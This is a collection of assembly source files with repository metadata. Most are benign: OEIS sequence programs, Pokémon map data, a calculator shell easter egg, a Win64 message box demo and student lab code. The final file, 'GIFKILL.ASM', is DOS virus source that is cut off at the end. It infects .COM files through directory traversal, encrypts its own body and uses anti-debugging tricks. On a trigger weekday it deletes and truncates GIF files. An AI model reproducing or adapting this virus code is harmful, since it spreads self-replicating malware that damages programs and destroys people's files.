f1d4630952ad82e92d801ca63bcb67d5d9355aaa
1,304
asm
Assembly
programs/oeis/301/A301708.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301708.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301708.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A301708: Coordination sequence for node of type V1 in "krc" 2-D tiling (or net). ; 1,6,11,16,22,28,33,38,44,50,55,60,66,72,77,82,88,94,99,104,110,116,121,126,132,138,143,148,154,160,165,170,176,182,187,192,198,204,209,214,220,226,231,236,242,248,253,258,264,270,275,280,286,292,297,302,308,314,319,324,330,336,341,346,352,358,363,368,374,380,385,390,396,402,407,412,418,424,429,434,440,446,451,456,462,468,473,478,484,490,495,500,506,512,517,522,528,534,539,544,550,556,561,566,572,578,583,588,594,600,605,610,616,622,627,632,638,644,649,654,660,666,671,676,682,688,693,698,704,710,715,720,726,732,737,742,748,754,759,764,770,776,781,786,792,798,803,808,814,820,825,830,836,842,847,852,858,864,869,874,880,886,891,896,902,908,913,918,924,930,935,940,946,952,957,962,968,974,979,984,990,996,1001,1006,1012,1018,1023,1028,1034,1040,1045,1050,1056,1062,1067,1072,1078,1084,1089,1094,1100,1106,1111,1116,1122,1128,1133,1138,1144,1150,1155,1160,1166,1172,1177,1182,1188,1194,1199,1204,1210,1216,1221,1226,1232,1238,1243,1248,1254,1260,1265,1270,1276,1282,1287,1292,1298,1304,1309,1314,1320,1326,1331,1336,1342,1348,1353,1358,1364,1370 mov $1,1 trn $1,$0 add $1,1 mov $3,$0 mov $4,$0 sub $4,1 lpb $0,1 sub $0,1 mov $2,2 trn $2,$4 add $1,$2 trn $4,4 lpe lpb $3,1 add $1,4 sub $3,1 lpe sub $1,1
59.272727
1,048
0.72316
b2e58245f36890c81d76cd1afb6bf23d50b83ef7
328
asm
Assembly
programs/oeis/010/A010949.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010949.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/010/A010949.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A010949: Binomial coefficient C(33,n). ; 1,33,528,5456,40920,237336,1107568,4272048,13884156,38567100,92561040,193536720,354817320,573166440,818809200,1037158320,1166803110,1166803110,1037158320,818809200,573166440,354817320,193536720,92561040,38567100,13884156,4272048,1107568,237336,40920,5456,528,33,1 mov $1,33 bin $1,$0
54.666667
265
0.82622
8fa5b6c99d4eab0f1aad6d233274f43c55455c61
1,062
asm
Assembly
programs/oeis/050/A050403.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/050/A050403.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/050/A050403.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A050403: Partial sums of A051877. ; 1,13,70,252,714,1722,3696,7260,13299,23023,38038,60424,92820,138516,201552,286824,400197,548625,740278,984676,1292830,1677390,2152800,2735460,3443895,4298931,5323878,6544720,7990312,9692584,11686752,14011536,16709385,19826709,23414118,27526668,32224114,37571170,43637776,50499372,58237179,66938487,76696950,87612888,99793596,113353660,128415280,145108600,163572045,183952665,206406486,231098868,258204870,287909622,320408704,355908532,394626751,436792635,482647494,532445088,586452048,644948304,708227520,776597536,850380817,929914909,1015552902,1107663900,1206633498,1312864266,1426776240,1548807420,1679414275,1819072255,1968276310,2127541416,2297403108,2478418020,2671164432,2876242824,3094276437,3325911841,3571819510,3832694404,4109256558,4402251678,4712451744,5040655620,5387689671,5754408387,6141695014,6550462192,6981652600,7436239608,7915227936,8419654320,8950588185,9509132325,10096423590,10713633580 mov $2,$0 mul $0,7 add $0,7 add $2,5 mov $1,$2 bin $1,5 mul $0,$1 sub $0,$1 div $0,3 sub $0,1 div $0,2 add $0,1
66.375
912
0.845574
b510c2850812d86eaec16e59788a1ef64aa92b3b
823
asm
Assembly
data/mapObjects/Route23.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapObjects/Route23.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapObjects/Route23.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
Route23_Object: db $f ; border block db 4 ; warps warp 7, 139, 2, ROUTE_22_GATE warp 8, 139, 3, ROUTE_22_GATE warp 4, 31, 0, VICTORY_ROAD_1F warp 14, 31, 1, VICTORY_ROAD_2F db 1 ; signs sign 3, 33, 8 ; Route23Text8 db 7 ; objects object SPRITE_GUARD, 4, 35, STAY, DOWN, 1 ; person object SPRITE_GUARD, 10, 56, STAY, DOWN, 2 ; person object SPRITE_SWIMMER, 8, 85, STAY, DOWN, 3 ; person object SPRITE_SWIMMER, 11, 96, STAY, DOWN, 4 ; person object SPRITE_GUARD, 12, 105, STAY, DOWN, 5 ; person object SPRITE_GUARD, 8, 119, STAY, DOWN, 6 ; person object SPRITE_GUARD, 8, 136, STAY, DOWN, 7 ; person ; warp-to warp_to 7, 139, ROUTE_23_WIDTH ; ROUTE_22_GATE warp_to 8, 139, ROUTE_23_WIDTH ; ROUTE_22_GATE warp_to 4, 31, ROUTE_23_WIDTH ; VICTORY_ROAD_1F warp_to 14, 31, ROUTE_23_WIDTH ; VICTORY_ROAD_2F
30.481481
54
0.714459
bd1617bca7335110134ec0775721ebb614f061b4
3,869
asm
Assembly
easteregg.asm
runer112/Doors_CS_7
d1b47a8d8bf96f67ee42ecd9106d6d8ae265f723
[ "Unlicense" ]
17
2016-04-01T16:15:37.000Z
2022-02-14T19:44:50.000Z
easteregg.asm
runer112/Doors_CS_7
d1b47a8d8bf96f67ee42ecd9106d6d8ae265f723
[ "Unlicense" ]
3
2020-03-08T01:40:58.000Z
2021-09-15T06:39:53.000Z
easteregg.asm
runer112/Doors_CS_7
d1b47a8d8bf96f67ee42ecd9106d6d8ae265f723
[ "Unlicense" ]
5
2016-04-02T04:24:10.000Z
2021-09-15T19:29:34.000Z
;----------------------------------------------------------- ; Filename: easteregg.asm ; Long name: Self-explanatory. ; Author: Kerm Martian aka Christopher Mitchell ; Last Update: Unknown ; ;Please consult license.txt for the fair use agreement ;implicitly binding by you continuing to read past this ;point. Close and delete this file if you do not agree ;to the terms of the agreement. ;----------------------------------------------------------- easteregg: ld hl,QuadPrgmStr rst 20h bcall(_chkfindsym) ret c ld hl,gbuf push hl pop de inc de ld (hl),$ff ld bc,767 ldir ld a,44 ld l,6 ld b,35 ld c,1 ld ix,ee_em call iLargeSprite ld hl,(256*43)+1 ld (pencol),hl ld hl,ee_txt1 call vputsapp ld hl,(256*49)+1 ld (pencol),hl ld hl,ee_txt2 call vputsapp ld hl,(256*55)+1 ld (pencol),hl ld hl,ee_txt3 call vputsapp #ifdef false ld a,0 ld l,46 ld b,14 ld c,12 ld ix,ee_txt call iLargeSprite #endif call iFastcopy wait: ld a,$fd out (1),a nop nop in a,(1) cp $fe ret z cp $bf jr nz,wait bcall(_grbufclr) ld hl,$0000 ld de,gbuf ld bc,$00A6 ;playToneEnd-playTone push hl push bc ldir pop bc pop hl ld de,gbuf+768-$00A6 ;(playToneEnd-playTone) ldir ld hl,(20*256)+2 ld (pencol),hl ld hl,creditstring1 call vputsapp ld hl,(26*256)+2 ld (pencol),hl ld hl,creditstring2 call vputsapp ld hl,creditstring3 songloopout: ; ld ix,eastereggsong songloop: push hl ld hl,gbuf+36*12 push hl pop de inc de ld bc,12*5-1 ld (hl),$00 ldir pop hl xor a ld (pencol),a ld a,35 ld (penrow),a push hl call vputsapp call ifastcopy ;now the actual easter egg itself!! ; ld h,(ix) ; inc ix ; ld l,(ix) ; inc ix ; ld d,(ix) ; inc ix ; ld e,(ix) ; inc ix ; ld c,(ix) ; inc ix ; ld b,(ix) ; inc ix ; push ix ; call gbuf ; pop ix ld hl,$a000 EEWasteLoop: dec hl ld a,h or l jr nz,EEWasteLoop ld a,$BF out (1),a nop \ nop in a,(1) cp $df jr z,eequit ; push ix ; pop hl ; ld de,eastereggsongend ; bcall(_cphlde) pop hl ; jr nz,songloopctd ; ld ix,eastereggsongrestart ;songloopctd: inc hl ld a,(hl) or a jr nz,songloop ld hl,creditstring3 jr songloop eequit: pop hl ret ee_em: .db $F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F8,$F0,$78 .db $F8,$F0,$78,$F0,$70,$78,$F0,$70,$70,$00,$00,$00,$00,$00,$F8,$F8 .db $F8,$F8,$F8 ee_txt1: .db "Doors CS 7 has encountered",0 ee_txt2: .db "a fatal error. ",$C1,"ENTER] to",0 ee_txt3: .db "resume or ",$C1,"CLEAR] to crash.",0 #ifdef false ee_txt: .db $18,$00,$00,$E6,$71,$00,$00,$00,$00,$08,$00,$00,$15,$DD,$98,$84 .db $11,$8C,$CE,$CE,$EA,$CD,$DB,$B0,$15,$55,$10,$84,$11,$54,$8C,$A8 .db $AA,$A9,$93,$28,$19,$DD,$30,$EC,$11,$4D,$8E,$AE,$EE,$A5,$D3,$B0 .db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$41,$02,$00 .db $00,$06,$E0,$80,$32,$00,$00,$00,$0C,$8D,$9A,$76,$DD,$84,$CC,$DD .db $93,$70,$00,$00,$14,$D5,$2A,$64,$95,$04,$8A,$99,$12,$50,$00,$00 .db $0C,$8C,$9A,$74,$9D,$26,$EA,$5D,$31,$70,$00,$00,$00,$00,$00,$00 .db $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$1B,$A0,$01,$90 .db $00,$00,$20,$00,$1B,$9A,$BB,$9D,$92,$2E,$6C,$9B,$9D,$99,$B0,$00 .db $13,$12,$BB,$15,$12,$2C,$A8,$92,$91,$29,$28,$00,$13,$B3,$AB,$9D .db $1B,$AE,$69,$8B,$9D,$1B,$2A,$00 #endif creditstring1: .db "Christopher Mitchell would",0 creditstring2: .db "like to thank:",0 creditstring3: .db $06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$06,$06 .db "BrandonW",$0c .db "TI-Freak8x",$0c .db "Ben Ryves",$0c .db "Iambian",$0c .db "Jim e",$0c .db "Joe W",$0c .db "DWedit",$0c .db "Timendus",$0c .db "Tr1p1ea",$0c .db "Many others! See http://dcs.cemetech.net" .db 0 creditstring4: QuadPrgmStr: .db 5,"QUAD",0 ;tempo = 175 ;eastereggsong: ; note(bb2,rest,bb2,rest,6000/tempo) ;eastereggsongrestart: ; note(rest,d2,rest,d2,6000/tempo) ;eastereggsongend:
19.059113
68
0.598087
181233557d432fb720144193412d7f76ba74cd7e
114
asm
Assembly
test_file/test_file_no_import.asm
drobotun/pefile_scripts
224a404dc53b81f6712726375566f630bb4ed542
[ "MIT" ]
null
null
null
test_file/test_file_no_import.asm
drobotun/pefile_scripts
224a404dc53b81f6712726375566f630bb4ed542
[ "MIT" ]
null
null
null
test_file/test_file_no_import.asm
drobotun/pefile_scripts
224a404dc53b81f6712726375566f630bb4ed542
[ "MIT" ]
1
2021-07-08T12:00:39.000Z
2021-07-08T12:00:39.000Z
format PE64 GUI include 'win64ax.inc' .data test_data db 0x34 .code start: mov eax, test_data .end start
10.363636
21
0.710526
7a7aa38dc750a820f9eddd51fe61e78adf81bedb
658
asm
Assembly
lab4/lab3_3/lr03_3.asm
ak-karimzai/asm
e5433922cbb69cae3c03be86447e0e83fbd8cb0b
[ "Unlicense" ]
null
null
null
lab4/lab3_3/lr03_3.asm
ak-karimzai/asm
e5433922cbb69cae3c03be86447e0e83fbd8cb0b
[ "Unlicense" ]
null
null
null
lab4/lab3_3/lr03_3.asm
ak-karimzai/asm
e5433922cbb69cae3c03be86447e0e83fbd8cb0b
[ "Unlicense" ]
2
2021-06-07T06:29:31.000Z
2021-06-08T16:52:03.000Z
SD1 SEGMENT para public 'DATA' S1 db 'Y' db 65535 - 2 dup (0) SD1 ENDS SD2 SEGMENT para public 'DATA' S2 db 'E' db 65535 - 2 dup (0) SD2 ENDS SD3 SEGMENT para public 'DATA' S3 db 'S' db 65535 - 2 dup (0) SD3 ENDS STK_SEG SEGMENT para public 'stack' db 100 dup(0) STK_SEG ENDS CSEG SEGMENT para public 'CODE' assume CS:CSEG, DS:SD1, SS:STK_SEG output: mov ah, 2 int 21h mov dl, 13 int 21h mov dl, 10 int 21h ret main: mov ax, SD1 mov ds, ax mov dl, S1 call output assume DS:SD2 mov ax, SD2 mov ds, ax mov dl, S2 call output assume DS:SD3 mov ax, SD3 mov ds, ax mov dl, S3 call output mov ax, 4c00h int 21h CSEG ENDS END main
13.428571
35
0.674772
9ed1d2c68cc560c574eb56e199d78a3ad6c11519
758
asm
Assembly
programs/oeis/166/A166931.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/166/A166931.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/166/A166931.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A166931: Numbers n with property that n mod k is k-1 for all k = 2..9. ; 2519,5039,7559,10079,12599,15119,17639,20159,22679,25199,27719,30239,32759,35279,37799,40319,42839,45359,47879,50399,52919,55439,57959,60479,62999,65519,68039,70559,73079,75599,78119,80639,83159,85679,88199,90719,93239,95759,98279,100799,103319,105839,108359,110879,113399,115919,118439,120959,123479,125999,128519,131039,133559,136079,138599,141119,143639,146159,148679,151199,153719,156239,158759,161279,163799,166319,168839,171359,173879,176399,178919,181439,183959,186479,188999,191519,194039,196559,199079,201599,204119,206639,209159,211679,214199,216719,219239,221759,224279,226799,229319,231839,234359,236879,239399,241919,244439,246959,249479,251999 mul $0,2520 add $0,2519
126.333333
659
0.8219
0e4e2ed039ccd3f3a0ed181fb4e9f8be41f3c9ac
886
asm
Assembly
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_tapeout_close.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_tapeout_close.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_tapeout_close.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; unsigned char esx_m_tapeout_close(void) SECTION code_esxdos PUBLIC asm_esx_m_tapeout_close EXTERN __esx_m_tapeout_call asm_esx_m_tapeout_close: ; enter : none ; ; exit : success ; ; hl = 0 ; carry reset ; ; fail ; ; hl = -1 ; carry set, errno set ; ; uses : af, bc, de, hl ld b,1 jp __esx_m_tapeout_call ; *************************************************************************** ; * M_TAPEOUT ($8c) * ; *************************************************************************** ; Tape output redirection control. ; Entry: ; B=0, out_open: ; Create/attach tap file with name at IX for appending, drive A ; B=1, out_close: ; Detach tap file ; B=2, out_info: ; Return attached filename to buffer at IX and drive in A ; B=3, out_trunc: ; Create/overwrite tap file with name at IX, drive A
21.609756
77
0.51693
9101752e256e89bbcdecda260dbd832d47b37c5f
658
asm
Assembly
programs/oeis/008/A008764.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/008/A008764.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/008/A008764.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A008764: Number of 3 X 3 symmetric stochastic matrices under row and column permutations. ; 1,1,2,4,6,8,12,16,21,27,34,42,52,62,74,88,103,119,138,158,180,204,230,258,289,321,356,394,434,476,522,570,621,675,732,792,856,922,992,1066,1143,1223,1308,1396,1488,1584,1684,1788,1897,2009,2126,2248,2374,2504,2640,2780,2925,3075,3230,3390,3556,3726,3902,4084,4271,4463,4662,4866,5076,5292,5514,5742,5977,6217,6464,6718,6978,7244,7518,7798,8085,8379,8680,8988,9304,9626,9956,10294,10639,10991,11352,11720,12096,12480,12872,13272,13681,14097,14522,14956 add $0,2 lpb $0 mov $2,$0 trn $0,4 seq $2,7997 ; a(n) = ceiling((n-3)(n-4)/6). add $1,$2 lpe mov $0,$1
54.833333
453
0.729483
b55e392a37d7c9b267d253de220a81359e5f15b6
1,388
asm
Assembly
MessageBox64.asm
pmkenned/win32_asm
333d6312044d4659a63a7258bc237efcc29eae9a
[ "MIT" ]
null
null
null
MessageBox64.asm
pmkenned/win32_asm
333d6312044d4659a63a7258bc237efcc29eae9a
[ "MIT" ]
null
null
null
MessageBox64.asm
pmkenned/win32_asm
333d6312044d4659a63a7258bc237efcc29eae9a
[ "MIT" ]
null
null
null
; Message Box, 64 bit. V1.02 MB_DEFBUTTON1 EQU 0 ; Constants MB_DEFBUTTON2 EQU 100h IDNO EQU 7 MB_YESNO EQU 4 extern MessageBoxA ; Import external symbols extern ExitProcess ; Windows API functions, not decorated global Start ; Export symbols. The entry point section .data ; Initialized data segment MessageBoxText db "Do you want to exit?", 0 MessageBoxCaption db "MessageBox 64", 0 section .text ; Code segment Start: sub RSP, 8 ; Align the stack to a multiple of 16 bytes sub RSP, 32 ; 32 bytes of shadow space .DisplayMessageBox: xor ECX, ECX ; 1st parameter lea RDX, [REL MessageBoxText] ; 2nd parameter lea R8, [REL MessageBoxCaption] ; 3rd parameter mov R9D, MB_YESNO | MB_DEFBUTTON2 ; 4th parameter. 2 constants ORed together call MessageBoxA cmp RAX, IDNO ; Check the return value for "No" je .DisplayMessageBox add RSP, 32 ; Remove the 32 bytes xor ECX, ECX call ExitProcess
38.555556
91
0.494957
18fe52c622e96c0b5e9323352b18ac3856de5e1f
977
asm
Assembly
setPixel.asm
J0nnyCheese/PNG-Reader
034f1ddc3162f5e43a25d99161d23110f1ac776e
[ "MIT" ]
null
null
null
setPixel.asm
J0nnyCheese/PNG-Reader
034f1ddc3162f5e43a25d99161d23110f1ac776e
[ "MIT" ]
null
null
null
setPixel.asm
J0nnyCheese/PNG-Reader
034f1ddc3162f5e43a25d99161d23110f1ac776e
[ "MIT" ]
null
null
null
##########################set pixel ####################### .data out_of_bound: .asciiz "Error in setPixel: pixel index out of bound. Program terminate." .text .globl set_pixel set_pixel: # $a0 -> image struct # $a1 -> row number # $a2 -> column number # $a3 -> new value (clipped at 255) ###############return################ #void # Add code here move $s1, $a0 # $s1 = address of struct addi $s1, $s1, -4 lw $s3, ($s1) # $s3 = width = 24 addi $s1, $s1, -4 lw $s4, ($s1) # $s4 = height = 7 mult $s3, $s4 mflo $t1 # $t1 = width * height addi $s1, $s1, -4 # $s1 align with the start of pixel mult $a1, $s3 mflo $t0 # $t0 = i* width add $t0, $t0, $a2 # $t0 = i * width + j # if (i,j) if out of bound -> error; else get value slt $t2, $t0, $t1 bne $t2, 1, error_out_of_bound sub $s1, $s1, $t0 sb $a3, ($s1) # value of image at (i,j) = $v0 jr $ra error_out_of_bound: li $v0, 4 la $a0, out_of_bound syscall li $v0, 10 syscall
19.54
88
0.538383
09534eb808f39cf6fe391c73a6f91f04d9bb7aba
10,810
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.z10-d.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.z10-d.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.z10-d.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; GIFKILL.ASM -- Seek and Destroy GIF ; Written by Dark Avenger virus_type equ 0 ; Appending Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main proc near db 0E9h,00h,00h ; Near jump (for compatibility) start: call find_offset ; Like a PUSH IP find_offset: pop bp ; BP holds old IP sub bp,offset find_offset ; Adjust for length of host call encrypt_decrypt ; Decrypt the virus start_of_code label near lea si,[bp + buffer] ; SI points to original start mov di,0100h ; Push 0100h on to stack for push di ; return to main program movsw ; Copy the first two bytes movsb ; Copy the third byte mov di,bp ; DI points to start of virus mov bp,sp ; BP points to stack sub sp,128 ; Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer on stack int 021h stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT lea bx,[di + null_vector] ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard mov cx,0003h ; Do 3 infections search_loop: push cx ; Save CX call search_files ; Find and infect a file pop cx ; Restore CX loop search_loop ; Repeat until CX is 0 call get_weekday cmp ax,0005h ; Did the function return 5? je strt00 ; If equal, do effect jmp end00 ; Otherwise skip over it strt00: lea dx,[di + data00] ; DX points to data mov ah,04Eh ; DOS find first file function mov cx,00100111b ; All file attributes valid int 021h jc erase_done ; Exit procedure on failure mov ah,02Fh ; DOS get DTA function int 021h lea dx,[bx + 01Eh] ; DX points to filename in DTA erase_loop: mov ah,041h ; DOS delete file function int 021h mov ah,03Ch ; DOS create file function xor cx,cx ; No attributes for new file int 021h mov ah,041h ; DOS delete file function int 021h mov ah,04Fh ; DOS find next file function int 021h jnc erase_loop ; Repeat until no files left erase_done: end00: com_end: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp db 0FAh,045h,02Eh,0B3h,024h search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root] ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes lea dx,[di + all_files] ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir] ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp db 0A6h,03Ch,0B6h,078h,0CCh find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp db 002h,0EFh,034h,048h,091h infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [di + set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ah],(65279 - (finish - start)) jbe size_ok ; If it's small enough continue jmp infection_done ; Otherwise exit size_ok: mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,3 ; CX holds bytes to read (3) lea dx,[di + buffer] ; DX points to buffer int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h xchg dx,ax ; Faster than a PUSH AX mov ah,03Eh ; DOS close file function int 021h xchg dx,ax ; Faster than a POP AX sub ax,finish - start + 3 ; Adjust AX for a valid jump cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? je infection_done ; If equal then exit mov byte ptr [di + set_carry],1 ; Success -- the file is OK add ax,finish - start ; Re-adjust to make the jump mov word ptr [di + new_jump + 1],ax ; Construct jump mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,3 ; CX holds bytes to write (3) lea dx,[di + new_jump] ; DX points to the jump we made int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h push si ; Save SI through call call encrypt_code ; Write an encrypted copy pop si ; Restore SI mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 090h,0CDh,020h ; Buffer to hold old three bytes new_jump db 0E9h,?,? ; New jump to virus infect_file endp db 089h,043h,03Bh,054h,0AAh get_weekday proc near mov ah,02Ah ; DOS get date function int 021h cbw ; Sign-extend AL into AX ret ; Return to caller get_weekday endp data00 db "*.GIF",0 vcl_marker db "[Z10]",0 ; VCL creation marker note db "Bye Bye Mr.GIF",0 db "You'll never find all the file" db "s I have infected!",0 encrypt_code proc near push bp ; Save BP mov bp,di ; Use BP as pointer to code lea si,[bp + encrypt_decrypt]; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 9],dx ; Low word of timer is new key xor byte ptr [si + 1],8 ; xor byte ptr [si + 8],1 ; Change all SIs to DIs xor word ptr [si + 11],0101h; (and vice-versa) lea di,[bp + finish] ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push 